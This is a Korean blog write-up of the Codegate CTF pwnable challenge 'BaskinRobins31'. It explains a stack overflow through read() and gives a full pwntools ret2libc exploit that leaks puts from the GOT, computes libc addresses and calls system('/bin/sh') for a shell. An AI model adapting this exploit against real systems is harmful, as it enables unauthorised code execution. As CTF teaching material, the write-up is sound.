본문 바로가기

CTF/Codegate

Codegate pwnable_BaskinRobins31 Write up

베스킨 라빈스다

일단 바이너리 실행시켜보면 절~~~~대 못이긴다.

그래서 ida로 확인해봤더니 read 함수가 존재했다.

0딱봐도 오버플로우다.

S가 0xb0 이라 10진수로 바꾸면 176이다.

SFP 까지하면 184바이트인데 184바이트로 오버플로우시키면된다.

 

근데 우리는 leak 을 시켜줘야한다. 그래서 처음에 입력을 받고 다시한번 your turn 이라는 함수를 호출해서 릭한걸로 다시 익스를 해야한다.

from pwn import *

p = process('./BaskinRobins31')
binf = ELF('./BaskinRobins31')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
your_turn = binf.symbols['your_turn']
puts_plt = binf.plt['puts']
puts_got = binf.got['puts']
pr = 0x400bc3

payload = ""
payload += "A"*184
payload += p64(pr)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(your_turn)
p.sendline(payload)

p.recvuntil("...:(")
p.recvline()

#p.interactive()

leaked = u64(p.recv(6).ljust(8, "\x00"))
libc_base = leaked - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

log.success("leaked success")
log.info("leaked address :" + hex(leaked))
log.info("system address :" + hex(system_addr))

payload2 = ""
payload2 += "A"*184
payload2 += p64(pr)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
p.sendlineafter("(1-3)", payload2)
p.recvlines(4)
p.interactive()

요런식으로

'CTF > Codegate' 카테고리의 다른 글

Codegate pwnable_Super_marimo Write up  (0) 2019.10.28
Codegate pwnable_babypwn Write up  (0) 2019.10.25
Codegate Reverse_angrybird_ Write up  (0) 2019.10.24
Codegate pwnable_nuclear Write up  (0) 2019.10.24
Codegate pwnable_Watermelon Write up  (0) 2019.10.24